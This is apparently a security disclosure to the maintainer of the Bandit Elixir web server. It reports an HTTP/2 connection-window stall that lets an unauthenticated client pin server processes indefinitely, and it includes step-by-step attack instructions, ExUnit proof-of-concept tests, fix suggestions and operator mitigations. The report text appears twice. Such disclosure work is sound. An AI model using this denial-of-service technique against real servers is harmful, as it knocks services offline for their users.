@mtrudel I have isolated this while working on some Claude Fable security scan reports.
This is the AI analysis on bandit.
Affected: Bandit 1.12.4 (latest) and main @ b65c235. The code path is long-standing, not a recent regression.
Component: Bandit.HTTP2 — outbound flow control
Suggested severity: High — CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5). Availability only; no confidentiality or integrity impact. Yours to adjust.
Summary
An unauthenticated remote client can hold an unbounded number of Bandit stream processes — with their Plug state, conn, and queued response bytes — alive indefinitely by exhausting the HTTP/2 connection send window and never issuing a connection-level WINDOW_UPDATE. Periodic PING frames defeat the ThousandIsland read timeout, and RST_STREAM does not release the pinned resources.
Root cause
When a stream blocks on the connection window, Stream.send_data/3 calls the connection process with :infinity, and finish_data/5 queues the remainder plus the reply closure in Connection.pending_sends. That queue drains only on WINDOW_UPDATE/SETTINGS. Nothing bounds the wait, nothing cancels the queued send, and stream_terminated/2 does not purge pending_sends.
A client RST_STREAM becomes a message in the blocked stream process' mailbox, which that process cannot read while it is inside the call — so the cancellation is silently ignored.
By contrast, blocking on the stream window is bounded at 15s by stream.read_timeout. That asymmetry is what makes this look unintended rather than deliberate backpressure.
Preconditions
The application must return a response body larger than the remaining connection send window (default 65,535 bytes). Any endpoint serving a large asset, JSON payload, or proxied stream qualifies; no authentication or specific Plug behavior is needed. The attacker chooses the endpoint.
Attack
- Open an HTTP/2 connection; request a large-bodied resource.
- Grant a generous stream-level
WINDOW_UPDATE so the connection window is the limiter.
- Read until the 65,535-byte connection window is exhausted; never send a connection-level
WINDOW_UPDATE.
- Send PING every few seconds to keep the connection alive.
- Repeat across streams and connections.
Each stalled stream pins a process indefinitely. max_concurrent_streams is never exceeded — the streams are legitimately open — and resetting them frees nothing. Cost to the attacker is one idle socket plus periodic PINGs.
The impact is amplified for Plugs that hold a resource across the write, such as a proxy streaming from an upstream connection pool: each stalled stream also pins its pooled upstream connection, so a small number of stalled streams can starve unrelated traffic. That is how we encountered this.
Proof of concept
Three ExUnit tests, passing against main @ b65c235, mix format clean. Drop in as connection_flow_control_stall_test.exs and run with mix test connection_flow_control_stall_test.exs --include slow (~38s; the first test alone runs in ~1.4s without --include slow).
Results:
- RST_STREAM is ignored (~1.4s): after
CANCEL, the plug process is still alive and blocked; a later connection WINDOW_UPDATE writes the queued 4,465-byte remainder as DATA on the reset stream.
- No timeout (~20s): with send-only PING keepalive, the plug is still blocked after 20s, connection still alive.
- Contrast: the same setup blocking on the stream window returns
{:error, "Timeout waiting for space in the send_window"} at ~15s and the process exits.
The first is the clearest: fast, deterministic, no timing assumptions, and protocol-visible.
defmodule HTTP2ConnectionFlowControlStallTest do
# Reproduction of unbounded blocking on the *connection* send window.
#
# Bandit bounds a stream-window block with `stream.read_timeout` (15s), but a block on the
# connection window is a `GenServer.call(..., :infinity)` into the connection process, whose
# reply is queued in `Connection.pending_sends` until a connection-level WINDOW_UPDATE arrives.
# Nothing bounds that wait, nothing cancels the queued send, and RST_STREAM cannot be observed
# by a stream process that is blocked inside the call.
use ExUnit.Case, async: true
use ServerHelpers
setup :https_server
@cancel Bandit.HTTP2.Errors.cancel()
describe "blocking on the connection send window" do
test "is not cancelled by RST_STREAM, and stale data is sent after the stream is reset",
context do
context = blocking_server(context)
socket = SimpleH2Client.setup_connection(context)
plug_pid = start_blocked_stream(socket, context, grant: :stream_window)
# The plug is blocked inside the connection process call, and the client cancels the stream
SimpleH2Client.send_rst_stream(socket, 1, @cancel)
Process.sleep(200)
# The reset is queued in the stream process' mailbox but never acted on: the request keeps
# its process, its Plug state and its queued body bytes alive
assert Process.alive?(plug_pid)
refute_received {:blocking_chunk_returned, ^plug_pid}
# Growing the connection window drains pending_sends and puts the remainder of the body on
# the wire for a stream the client already reset
SimpleH2Client.send_window_update(socket, 0, 1_000_000)
assert {:ok, 1, false, chunk} = SimpleH2Client.recv_body(socket)
assert byte_size(chunk) == 4_465
assert_receive {:blocking_chunk_returned, ^plug_pid}, 1_000
end
@tag :slow
@tag timeout: 120_000
test "is not bounded by any timeout while the connection is kept alive by PINGs", context do
context = blocking_server(context)
socket = SimpleH2Client.setup_connection(context)
plug_pid = start_blocked_stream(socket, context, grant: :stream_window)
# Well past the 15s that bounds a stream-window block
ping_until(socket, 20_000)
assert SimpleH2Client.connection_alive?(socket)
assert Process.alive?(plug_pid)
refute_received {:blocking_chunk_returned, ^plug_pid}
end
@tag :slow
@tag timeout: 120_000
test "contrast: blocking on the stream send window is bounded at 15s", context do
context = blocking_server(context)
socket = SimpleH2Client.setup_connection(context)
plug_pid = start_blocked_stream(socket, context, grant: :connection_window)
ping_until(socket, 16_000)
assert_received {:blocking_chunk_error, ^plug_pid,
"Timeout waiting for space in the send_window"}
refute Process.alive?(plug_pid)
end
end
defp blocking_server(context) do
context
|> https_server(
plug: blocking_plug(self()),
thousand_island_options: [read_timeout: 2_000]
)
|> Enum.into(context)
end
# Writes 7 x 10k chunks against a 65_535 byte window, so the 7th chunk cannot be fully sent
defp blocking_plug(test_pid) do
fn conn, _opts ->
data = String.duplicate("a", 10_000)
send(test_pid, {:plug_ready, self()})
receive do: (:go -> :ok)
conn = send_chunked(conn, 200)
conn =
Enum.reduce(1..6, conn, fn _i, conn ->
{:ok, conn} = chunk(conn, data)
conn
end)
send(test_pid, {:blocking_chunk_started, self()})
case chunk(conn, data) do
{:ok, conn} ->
send(test_pid, {:blocking_chunk_returned, self()})
conn
{:error, reason} ->
send(test_pid, {:blocking_chunk_error, self(), reason})
conn
end
end
end
# Drives the plug until it is blocked with 4_465 bytes of body still unsent, leaving whichever
# window was not granted as the one that blocks
defp start_blocked_stream(socket, context, grant: grant) do
SimpleH2Client.send_simple_headers(socket, 1, :get, "/blocking_test", context.port)
assert_receive {:plug_ready, plug_pid}, 1_000
case grant do
:stream_window -> SimpleH2Client.send_window_update(socket, 1, 1_000_000)
:connection_window -> SimpleH2Client.send_window_update(socket, 0, 1_000_000)
end
# The window update is only observable once the plug produces frames, so let the connection
# process apply it before any body is written
Process.sleep(100)
send(plug_pid, :go)
SimpleH2Client.successful_response?(socket, 1, false)
Enum.each(1..6, fn _i -> SimpleH2Client.recv_body(socket) end)
assert {:ok, 1, false, chunk} = SimpleH2Client.recv_body(socket)
assert byte_size(chunk) == 5_535
assert_receive {:blocking_chunk_started, ^plug_pid}, 1_000
refute_receive {:blocking_chunk_returned, ^plug_pid}, 500
plug_pid
end
# Send-only keepalive: PING ACKs are left in the socket buffer so this never consumes the
# frames a test is asserting on
defp ping_until(socket, duration) do
deadline = System.monotonic_time(:millisecond) + duration
Stream.repeatedly(fn ->
SimpleH2Client.send_frame(socket, 6, 0, 0, <<1, 2, 3, 4, 5, 6, 7, 8>>)
Process.sleep(250)
System.monotonic_time(:millisecond)
end)
|> Enum.find(&(&1 >= deadline))
end
end
Two notes on the harness, in case they are useful when you adapt it:
- The plug waits for a
:go message so the client can grant the stream-level WINDOW_UPDATE before any body is written; otherwise the stream window blocks first and you get the bounded 15s path instead.
- The keepalive is send-only — a PING that also reads its ACK will consume the frames the tests assert on.
Suggested fix direction
Give each pending send a finite lifetime and a cancellation path. Replacing :infinity with a timeout alone is not sufficient — it would leave the queued bytes and on_unblock in pending_sends, still to be written later on a dead stream. Roughly:
- purge a stream's
pending_sends entries in stream_terminated/2;
- bound the queued lifetime and surface expiry to the blocked caller as a
FLOW_CONTROL_ERROR, matching the stream-window path;
- consider capping queued bytes/entries per connection.
Handling RST_STREAM for a blocked stream would also close the "cancel frees nothing" gap.
Mitigation for operators
No configuration option bounds this today. Reducing max_concurrent_streams limits per-connection cost but not the per-connection count. Connection-count limits and upstream pool sizing reduce blast radius without removing the primitive.
Disclosure
The reproduction tests were written with AI assistance; the behavior, code paths, and test results were verified by hand against main.
@mtrudel I have isolated this while working on some Claude Fable security scan reports.
This is the AI analysis on
bandit.Affected: Bandit 1.12.4 (latest) and
main@b65c235. The code path is long-standing, not a recent regression.Component:
Bandit.HTTP2— outbound flow controlSuggested severity: High — CVSS 3.1
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5). Availability only; no confidentiality or integrity impact. Yours to adjust.Summary
An unauthenticated remote client can hold an unbounded number of Bandit stream processes — with their Plug state,
conn, and queued response bytes — alive indefinitely by exhausting the HTTP/2 connection send window and never issuing a connection-levelWINDOW_UPDATE. Periodic PING frames defeat the ThousandIsland read timeout, andRST_STREAMdoes not release the pinned resources.Root cause
When a stream blocks on the connection window,
Stream.send_data/3calls the connection process with:infinity, andfinish_data/5queues the remainder plus the reply closure inConnection.pending_sends. That queue drains only onWINDOW_UPDATE/SETTINGS. Nothing bounds the wait, nothing cancels the queued send, andstream_terminated/2does not purgepending_sends.A client
RST_STREAMbecomes a message in the blocked stream process' mailbox, which that process cannot read while it is inside the call — so the cancellation is silently ignored.By contrast, blocking on the stream window is bounded at 15s by
stream.read_timeout. That asymmetry is what makes this look unintended rather than deliberate backpressure.Preconditions
The application must return a response body larger than the remaining connection send window (default 65,535 bytes). Any endpoint serving a large asset, JSON payload, or proxied stream qualifies; no authentication or specific Plug behavior is needed. The attacker chooses the endpoint.
Attack
WINDOW_UPDATEso the connection window is the limiter.WINDOW_UPDATE.Each stalled stream pins a process indefinitely.
max_concurrent_streamsis never exceeded — the streams are legitimately open — and resetting them frees nothing. Cost to the attacker is one idle socket plus periodic PINGs.The impact is amplified for Plugs that hold a resource across the write, such as a proxy streaming from an upstream connection pool: each stalled stream also pins its pooled upstream connection, so a small number of stalled streams can starve unrelated traffic. That is how we encountered this.
Proof of concept
Three ExUnit tests, passing against
main@b65c235,mix formatclean. Drop in asconnection_flow_control_stall_test.exsand run withmix testconnection_flow_control_stall_test.exs--include slow(~38s; the first test alone runs in ~1.4s without--include slow).Results:
CANCEL, the plug process is still alive and blocked; a later connectionWINDOW_UPDATEwrites the queued 4,465-byte remainder as DATA on the reset stream.{:error, "Timeout waiting for space in the send_window"}at ~15s and the process exits.The first is the clearest: fast, deterministic, no timing assumptions, and protocol-visible.
Two notes on the harness, in case they are useful when you adapt it:
:gomessage so the client can grant the stream-levelWINDOW_UPDATEbefore any body is written; otherwise the stream window blocks first and you get the bounded 15s path instead.Suggested fix direction
Give each pending send a finite lifetime and a cancellation path. Replacing
:infinitywith a timeout alone is not sufficient — it would leave the queued bytes andon_unblockinpending_sends, still to be written later on a dead stream. Roughly:pending_sendsentries instream_terminated/2;FLOW_CONTROL_ERROR, matching the stream-window path;Handling
RST_STREAMfor a blocked stream would also close the "cancel frees nothing" gap.Mitigation for operators
No configuration option bounds this today. Reducing
max_concurrent_streamslimits per-connection cost but not the per-connection count. Connection-count limits and upstream pool sizing reduce blast radius without removing the primitive.Disclosure
The reproduction tests were written with AI assistance; the behavior, code paths, and test results were verified by hand against
main.